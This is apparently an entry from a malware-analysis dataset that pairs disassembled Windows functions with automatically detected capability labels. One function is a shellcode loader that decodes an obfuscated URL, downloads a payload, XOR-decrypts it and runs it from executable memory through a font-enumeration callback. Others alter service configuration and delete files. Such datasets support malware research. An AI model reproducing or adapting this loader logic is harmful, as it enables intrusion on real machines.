joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180103bc0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
push r14
mov eax, 0x28
call fcn.18010f480
sub rsp, rax
mov qword [rsp + 0x58], rbx
mov rsi, rdx
mov rbx, qword [rsp + 0x78]
mov r14, r9
mov qword [rsp + 0x60], r12
mov rdi, rcx
shl rsi, 5
mov r12, rdx
mov qword [rsp + 0x68], r13
mov r13, r8
test rsi, rsi
je 0x180103c3e
mov r9, rsi
nop word [rax + rax]
movzx eax, byte [rcx]
lea rcx, [rcx + 4]
mov dword [rbx], eax
movzx eax, byte [rcx - 3]
shl eax, 8
or dword [rbx], eax
movzx eax, byte [rcx - 2]
shl eax, 0x10
or dword [rbx], eax
movzx eax, byte [rcx - 1]
shl eax, 0x18
or dword [rbx], eax
add rbx, 4
sub r9, 1
jne 0x180103c10
mov qword [rsp + 0x20], r15
cmp r13, 1
jbe 0x180103c6e
mov rbp, r12
lea r15, [r8 - 1]
shl rbp, 7
mov rdx, rbx
mov r8, r12
sub rdx, rbp
mov rcx, rbx
call fcn.180103750
add rbx, rbp
sub r15, 1
jne 0x180103c54
mov rdx, r13
mov r8, r12
shl rdx, 7
mov rcx, r14
add rdx, 0xffffffffffffff80
imul rdx, r12
add rdx, qword [rsp + 0x78]
call fcn.180103750
xor ebp, ebp
test r13, r13
je 0x180103d94
mov rbx, qword [rsp + 0x70]
mov rdi, r12
shl rdi, 7
mov r15, r13
nop word [rax + rax]
mov eax, dword [rdi + r14 - 0x40]
xor edx, edx
div r13
mov eax, edx
imul rax, r12
shl rax, 7
add rax, qword [rsp + 0x78]
test rsi, rsi
je 0x180103d77
cmp rsi, 8
jb 0x180103d4b
lea rcx, [rsi - 1]
mov r8, rbp
lea rcx, [rax + rcx*4]
lea rdx, [rbx - 4]
lea rdx, [rdx + rsi*4]
cmp rbx, rcx
ja 0x180103cf5
cmp rdx, rax
jae 0x180103d4b
lea rcx, [r14 - 4]
lea rcx, [rcx + rsi*4]
cmp rbx, rcx
ja 0x180103d07
cmp rdx, r14
jae 0x180103d4b
mov rdx, r14
lea rcx, [rbx + 0x10]
sub rdx, rbx
movdqu xmm0, xmmword [rax]
add r8, 8
lea rax, [rax + 0x20]
movdqu xmm1, xmmword [rdx + rcx - 0x10]
lea rcx, [rcx + 0x20]
pxor xmm1, xmm0
movdqu xmmword [rcx - 0x30], xmm1
movdqu xmm1, xmmword [rdx + rcx - 0x20]
movdqu xmm0, xmmword [rax - 0x10]
pxor xmm1, xmm0
movdqu xmmword [rcx - 0x20], xmm1
cmp r8, rsi
jb 0x180103d11
jmp 0x180103d77
mov r9, r14
mov rdx, rbx
sub r9, rbx
mov r8, rsi
nop word [rax + rax]
mov ecx, dword [rdx + r9]
lea rdx, [rdx + 4]
xor ecx, dword [rax]
lea rax, [rax + 4]
mov dword [rdx - 4], ecx
sub r8, 1
jne 0x180103d60
mov r8, r12
mov rdx, rbx
mov rcx, r14
call fcn.180103750
sub r15, 1
jne 0x180103cb0
mov rdi, qword [rsp + 0x50]
mov r15, qword [rsp + 0x20]
mov r13, qword [rsp + 0x68]
mov r12, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x58]
test rsi, rsi
je 0x180103dd8
nop dword [rax]
mov ecx, dword [r14 + rbp*4]
mov eax, ecx
mov byte [rdi], cl
lea rdi, [rdi + 4]
shr eax, 8
inc rbp
mov byte [rdi - 3], al
mov eax, ecx
shr eax, 0x10
shr ecx, 0x18
mov byte [rdi - 2], al
mov byte [rdi - 1], cl
cmp rbp, rsi
jb 0x180103db0
add rsp, 0x28
pop r14
pop rdi
pop rsi
pop rbp
ret
Function at 0x180001090
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
mov rbp, rsp
sub rsp, 0x80
mov qword [rbp - 0x48], 0xfffffffffffffffe
mov qword [rsp + 0xb8], rbx
mov rdi, rdx
mov rbx, rcx
xor r13d, r13d
mov dword [rbp + 0x48], r13d
mov qword [rcx], r13
mov qword [rcx + 8], r13
mov qword [rcx + 0x10], r13
mov dword [rbp + 0x48], 1
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
lea edx, [r13 + 1]
lea rcx, str.huorong
call qword [sym.imp.WININET.dll_InternetOpenW]
mov r12, rax
test rax, rax
jne 0x18000112d
lea rax, str.Failed_to_open_internet_connection.
mov qword [rbp - 0x50], rax
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x40]
call fcn.180001b58
lea r11, vtable.std::runtime_error.0
mov qword [rbp - 0x40], r11
lea rdx, [0x18000c610]
lea rcx, [rbp - 0x40]
call fcn.18000234c
int3
mov qword [rsp + 0x28], r13
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rdx, rdi
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rsi, rax
test rax, rax
jne 0x180001191
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea r11, str.Failed_to_open_URL.
mov qword [rbp - 0x50], r11
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x40]
call fcn.180001b58
lea r11, vtable.std::runtime_error.0
mov qword [rbp - 0x40], r11
lea rdx, [0x18000c610]
lea rcx, [rbp - 0x40]
call fcn.18000234c
int3
mov qword [rbp - 0x28], r13
mov qword [rbp - 0x20], r13
mov qword [rbp - 0x18], r13
lea rcx, [rbp - 0x28]
call fcn.1800014f0
nop
mov dword [rbp + 0x40], r13d
mov r13, qword [rbp - 0x20]
mov rdi, qword [rbp - 0x28]
sub r13, rdi
lea r9, [rbp + 0x40]
mov r8d, r13d
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x180001201
nop dword [rax]
mov eax, dword [rbp + 0x40]
test eax, eax
je 0x180001208
lea r9, [rdi + rax]
mov r8, rdi
mov rdx, qword [rbx + 8]
mov rcx, rbx
call fcn.180001760
lea r9, [rbp + 0x40]
mov r8d, r13d
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x1800011d0
mov eax, dword [rbp + 0x40]
test eax, eax
jne 0x18000125d
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x18000125d
cmp eax, 0x12
je 0x18000125d
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea r11, str.Failed_to_read_file_content.
mov qword [rbp - 0x50], r11
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x40]
call fcn.180001b58
lea r11, vtable.std::runtime_error.0
mov qword [rbp - 0x40], r11
lea rdx, [0x18000c610]
lea rcx, [rbp - 0x40]
call fcn.18000234c
int3
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
test rdi, rdi
je 0x18000127d
mov rcx, rdi
call fcn.180001f94
mov rax, rbx
mov rbx, qword [rsp + 0xb8]
add rsp, 0x80
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x1800012d0
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Encode data using xor
Execute shellcode via windows callback function

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x80
mov eax, 0x68
mov ecx, 0x1f4
mov qword [rsp + 0x90], rbx
mov word [rbp - 0x40], ax
mov eax, 0x7a
mov dword [rbp - 0x3e], 0x740074
mov word [rbp - 0x2e], ax
mov eax, 0x33
mov dword [rbp - 0x3a], 0x3a0070
mov word [rbp - 0x1c], ax
mov eax, 0x36
mov dword [rbp - 0x36], 0x2f002f
mov word [rbp - 0x1a], ax
mov eax, 0x73
mov dword [rbp - 0x32], 0x6a0075
mov dword [rbp - 0x2c], 0x640061
mov dword [rbp - 0x28], 0x65006e
mov dword [rbp - 0x24], 0x63002e
mov word [rbp - 0x14], ax
mov dword [rbp - 0x20], 0x2f006e
mov dword [rbp - 0x18], 0x640030
mov dword [rbp - 0x12], 0x2e0062
mov dword [rbp - 0xe], 0x70006a
xor ebx, ebx
mov dword [rbp - 0xa], 0x67
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rbp - 0x40]
lea rcx, [rbp - 0x60]
call fcn.180001090
mov r11, qword [rbp - 0x60]
mov rdx, qword [rbp - 0x58]
cmp rdx, r11
je 0x180001463
mov qword [rsp + 0x98], rdi
mov r9d, ebx
mov r8d, ebx
lea rdi, str.hrsgdsb
mov r10d, ebx
nop dword [rax + rax]
movsx ecx, byte [r8 + rdi]
mov eax, 0x4ac525d3
inc r8
imul ecx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 0x92492493
imul edx, edx, 0x6d9
sub ecx, edx
imul r9d
add cl, 0x4f
xor byte [r10 + r11], cl
mov r11, qword [rbp - 0x60]
add edx, r9d
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 7
cmp r9d, edx
mov rdx, qword [rbp - 0x58]
cmove r8, rbx
inc r9d
mov rcx, rdx
sub rcx, r11
movsxd rax, r9d
inc r10
cmp rax, rcx
jb 0x1800013b0
mov rdi, qword [rsp + 0x98]
xor ecx, ecx
sub rdx, r11
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, qword [rbp - 0x58]
mov rdx, qword [rbp - 0x60]
sub r8, rdx
mov rcx, rax
mov rbx, rax
call fcn.180001c60
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
xor r9d, r9d
mov r8, rbx
mov rcx, rax
xor edx, edx
call qword [sym.imp.GDI32.dll_EnumFontsW]
mov r11, qword [rbp - 0x60]
mov rbx, qword [rsp + 0x90]
test r11, r11
je 0x180001478
mov rcx, r11
call fcn.180001f94
add rsp, 0x80
pop rbp
ret
Function at 0x180005b9c
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x18000de50]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.180002ad4
xor ebx, ebx
cmp qword [0x18000eb10], rbx
mov rdi, rax
jne 0x180005caf
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x180005d86
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x180005d86
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x18000eb10], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x18000eb18], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x18000eb20], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x18000eb30], rax
test rax, rax
je 0x180005ca6
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x18000eb28], rax
jmp 0x180005cb6
mov rax, qword [0x18000eb28]
jmp 0x180005cbd
mov rax, qword [0x18000eb28]
mov r11, qword [0x18000eb30]
cmp rax, rdi
je 0x180005d24
cmp r11, rdi
je 0x180005d24
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x18000eb30]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x180005d24
test rax, rax
je 0x180005d24
call rsi
test rax, rax
je 0x180005d1e
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x180005d1e
test byte [rsp + 0x40], 1
jne 0x180005d24
bts ebp, 0x15
jmp 0x180005d64
mov rcx, qword [0x18000eb18]
cmp rcx, rdi
je 0x180005d64
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x180005d64
call rax
mov rbx, rax
test rax, rax
je 0x180005d64
mov rcx, qword [0x18000eb20]
cmp rcx, rdi
je 0x180005d64
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x180005d64
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x18000eb10]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x180005d86
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x180005d88
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.180005a80
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x180006b63
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x18000de50]
jne 0x180005a9a
rol rcx, 0x10
test cx, 0xffff
jne 0x180005a96
repz ret
ror rcx, 0x10
jmp 0x180006abc
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x18000ebe0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x18000ecd8]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x180006b41
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x18000ebe0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x180006b63
mov rax, qword [rsp + 0x88]
mov qword [0x18000ecd8], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x18000ec78], rax
mov rax, qword [0x18000ecd8]
mov qword [0x18000eb50], rax
mov rax, qword [rsp + 0x90]
mov qword [0x18000ec60], rax
mov dword [0x18000eb40], 0xc0000409
mov dword [0x18000eb44], 1
mov rax, qword [0x18000de50]
mov qword [rsp + 0x68], rax
mov rax, qword [0x18000de58]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x18000ebd8], eax
mov ecx, 1
call fcn.180005a68
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x18000b4f0]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x18000ebd8], 0
jne 0x180006bea
mov ecx, 1
call fcn.180005a68
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x140003df0
Capabilities:
Get thread local storage value

Disassembly:
mov dword [rsp + 8], ecx
sub rsp, 0x48
call fcn.1400038d0
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x140003e2f
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov ecx, dword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x14003e268]
jmp 0x140003e39
mov ecx, dword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
add rsp, 0x48
ret

Function at 0x1400244a0
Capabilities:
Print debug messages

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov rax, qword [rsp + 0x30]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
add rsp, 0x28
ret
Function at 0x401980
Capabilities:
Extract resource via kernel32 functions

Disassembly:
sub rsp, 0x28
mov qword [rsp + 0x38], rbp
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], rdi
mov edi, r8d
mov rsi, rdx
mov rbp, rcx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
jne 0x4019bb
mov rdi, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x38]
add rsp, 0x28
ret
mov rcx, rax
mov qword [rsp + 0x30], rbx
call qword [sym.imp.KERNEL32.dll_LockResource]
test rax, rax
mov rbx, rax
je 0x4019ff
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov r11d, eax
add r11, rbx
and edi, 0xf
jbe 0x4019fa
cmp rbx, r11
jae 0x4019ff
add edi, 0xffffffff
movzx eax, word [rbx]
lea rbx, [rbx + rax*2 + 2]
jne 0x4019e8
cmp rbx, r11
jb 0x401a03
xor eax, eax
jmp 0x401a0f
xor eax, eax
cmp word [rbx], ax
cmove rbx, rax
mov rax, rbx
mov rbx, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x38]
add rsp, 0x28
ret

Function at 0x401a90
Capabilities:
Modify service

Disassembly:
sub rsp, 0x68
mov qword [rsp + 0x78], rbx
mov rbx, rcx
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
mov qword [rsp + 0x88], rdi
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
test rax, rax
mov rdi, rax
jne 0x401ace
mov rdi, qword [rsp + 0x88]
mov rbx, qword [rsp + 0x78]
add rsp, 0x68
ret
lea rdx, [0x0043ff30]
mov r8d, 0xf01ff
mov rcx, rax
mov qword [rsp + 0x80], rsi
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
test rax, rax
mov rsi, rax
jne 0x401b01
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
jmp 0x401b51
mov r8d, dword [rbx + 4]
mov edx, dword [rbx]
xor eax, eax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rax
mov r9d, 0xffffffff
mov rcx, rsi
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_ChangeServiceConfigA]
mov rcx, rsi
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, ebx
mov rsi, qword [rsp + 0x80]
mov rdi, qword [rsp + 0x88]
mov rbx, qword [rsp + 0x78]
add rsp, 0x68
ret

Function at 0x401b70
Capabilities:
Delete file
Get file attributes
Set file attributes

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
test al, 1
je 0x401b91
and eax, 0xfffffffe
mov rcx, rbx
mov edx, eax
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
setne al
add rsp, 0x20
pop rbx
ret
Function at 0x402280
Capabilities:
Print debug messages

Disassembly:
mov rax, rsp
sub rsp, 0x68
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov qword [rax - 0x10], r13
xor ebp, ebp
mov rdi, rdx
mov r13, r8
mov dword [rax - 0x28], ebp
mov rsi, rcx
call fcn.00418ad4
test rax, rax
mov rcx, rax
jne 0x4022bd
mov ecx, 0x80004005
call fcn.00401000
int3
mov rax, qword [rax]
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x60], r12
call qword [rax + 0x18]
lea r9, [rsp + 0x44]
mov r8d, 7
mov rbx, rax
lea rax, [rsp + 0x40]
mov rdx, rdi
mov qword [rsp + 0x30], rax
mov eax, dword [rsp + 0x40]
mov rcx, rsi
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rbp
call qword [sym.imp.SETUPAPI.dll_SetupDiGetDeviceRegistryPropertyA]
test eax, eax
jne 0x402401
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xd
je 0x40236e
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x40236e
test rbp, rbp
je 0x40232a
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov edx, dword [rsp + 0x40]
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
lea r9, [rsp + 0x44]
mov r8d, 7
mov rbp, rax
lea rax, [rsp + 0x40]
mov rdx, rdi
mov qword [rsp + 0x30], rax
mov eax, dword [rsp + 0x40]
mov rcx, rsi
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rbp
call qword [sym.imp.SETUPAPI.dll_SetupDiGetDeviceRegistryPropertyA]
test eax, eax
je 0x402306
test rbp, rbp
je 0x402401
cmp byte [rbp], 0
mov rsi, rbp
mov r12, 0xffffffffffffffff
je 0x4023e6
nop
nop
nop
mov eax, dword [rsp + 0x40]
add rax, rbp
cmp rsi, rax
jae 0x4023e6
mov rcx, rsi
call fcn.004251a0
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
xor eax, eax
mov rdi, r13
mov rcx, r12
repne scasb al, byte [rdi]
xor ecx, ecx
nop
nop
movzx eax, byte [rsi + rcx]
add rcx, 1
test al, al
mov byte [rdi + rcx - 2], al
jne 0x4023c0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrlenA]
movsxd rcx, eax
lea rsi, [rsi + rcx + 1]
cmp byte [rsi], 0
jne 0x402390
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rdx, rbx
lock xadd dword [rbx + 0x10], r12d
add r12d, 0xffffffff
test r12d, r12d
jmp 0x402418
mov rdx, rbx
mov r12, 0xffffffffffffffff
lock xadd dword [rbx + 0x10], r12d
add r12d, 0xffffffff
test r12d, r12d
jg 0x402423
mov rcx, qword [rbx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rbx, qword [rsp + 0x70]
mov r12, qword [rsp + 0x60]
mov r13, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x88]
mov rsi, qword [rsp + 0x80]
mov rbp, qword [rsp + 0x78]
add rsp, 0x68
ret
Function at 0x402bb0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
sub rsp, 0x58
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rbp
mov eax, r8d
mov qword [rsp + 0x70], rsi
mov rsi, rdx
shr eax, 4
add ax, 1
mov ebx, r8d
mov rbp, rcx
movzx edx, ax
mov r8d, 6
mov rcx, rsi
mov qword [rsp + 0x78], rdi
mov qword [rsp + 0x50], r12
call qword [sym.imp.KERNEL32.dll_FindResourceA]
test rax, rax
mov r12, rax
je 0x402d25
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x402d25
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
test rax, rax
mov rdi, rax
je 0x402d25
mov rdx, r12
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov r11d, eax
add r11, rdi
and ebx, 0xf
jbe 0x402c56
nop
cmp rdi, r11
jae 0x402d25
add ebx, 0xffffffff
movzx eax, word [rdi]
lea rdi, [rdi + rax*2 + 2]
jne 0x402c40
cmp rdi, r11
jae 0x402d25
movzx eax, word [rdi]
test ax, ax
je 0x402d25
mov qword [rsp + 0x48], r13
movzx ebx, ax
call qword [0x0045da28]
xor r13d, r13d
lea r12, [rdi + 2]
mov r9d, ebx
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov ecx, eax
mov r8, r12
xor edx, edx
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov rcx, qword [rbp]
mov edx, 1
movsxd rsi, eax
sub edx, dword [rcx - 8]
mov ecx, dword [rcx - 0xc]
sub ecx, esi
or edx, ecx
jge 0x402cc6
mov edx, esi
mov rcx, rbp
call fcn.00401e90
mov rbx, qword [rbp]
movzx edi, word [rdi]
call qword [0x0045da28]
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov ecx, eax
mov r9d, edi
mov r8, r12
xor edx, edx
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
test esi, esi
mov r13, qword [rsp + 0x48]
js 0x402d1a
mov rcx, qword [rbp]
cmp esi, dword [rcx - 0xc]
jg 0x402d1a
mov dword [rcx - 0x10], esi
mov rcx, qword [rbp]
mov eax, 1
mov byte [rsi + rcx], 0
jmp 0x402d27
mov ecx, 0x80070057
call fcn.00401000
int3
xor eax, eax
mov r12, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x68]
mov rbx, qword [rsp + 0x60]
add rsp, 0x58
ret
Function at 0x405ce0
Capabilities:
Modify service
Query service configuration

Disassembly:
mov r11, rsp
sub rsp, 0x1a8
mov rax, qword [0x0045c120]
xor rax, rsp
mov qword [rsp + 0x190], rax
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rbp
mov rbp, rcx
xor ecx, ecx
xor edx, edx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
test rax, rax
mov rbx, rax
jne 0x405d32
lea rcx, str.error:_OpenSCManager_fail...
call fcn.00405500
xor eax, eax
jmp 0x405e5e
lea rdx, [0x0043ff30]
mov r8d, 0xf01ff
mov rcx, rax
mov qword [rsp + 0x1c8], rsi
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
test rax, rax
mov rsi, rax
jne 0x405d74
lea rcx, str.error:_OpenService_fail...
call fcn.00405500
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
jmp 0x405e56
mov qword [rsp + 0x1a0], rdi
lea r9, [rsp + 0x60]
xor edi, edi
mov r8d, 0x3e8
mov rdx, rbp
mov rcx, rax
mov dword [rsp + 0x60], edi
call qword [sym.imp.ADVAPI32.dll_QueryServiceConfigA]
test eax, eax
jne 0x405dac
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.QueryServiceConfig___d
jmp 0x405e1d
cmp eax, 1
jne 0x405e3a
lea r8, [rsp + 0x68]
mov edx, eax
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
jne 0x405dcf
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, dword [rbp]
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov r9d, 0xffffffff
mov r8d, 4
mov rcx, rsi
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_ChangeServiceConfigA]
test eax, eax
mov edi, eax
jne 0x405e3a
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.ChangeServiceConfig___d
lea rcx, [rsp + 0x90]
mov r8d, eax
call fcn.00427d80
lea rcx, [rsp + 0x90]
call fcn.00405500
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, edi
mov rdi, qword [rsp + 0x1a0]
mov rsi, qword [rsp + 0x1c8]
mov rbp, qword [rsp + 0x1c0]
mov rbx, qword [rsp + 0x1b8]
mov rcx, qword [rsp + 0x190]
xor rcx, rsp
call fcn.004252f0
add rsp, 0x1a8
ret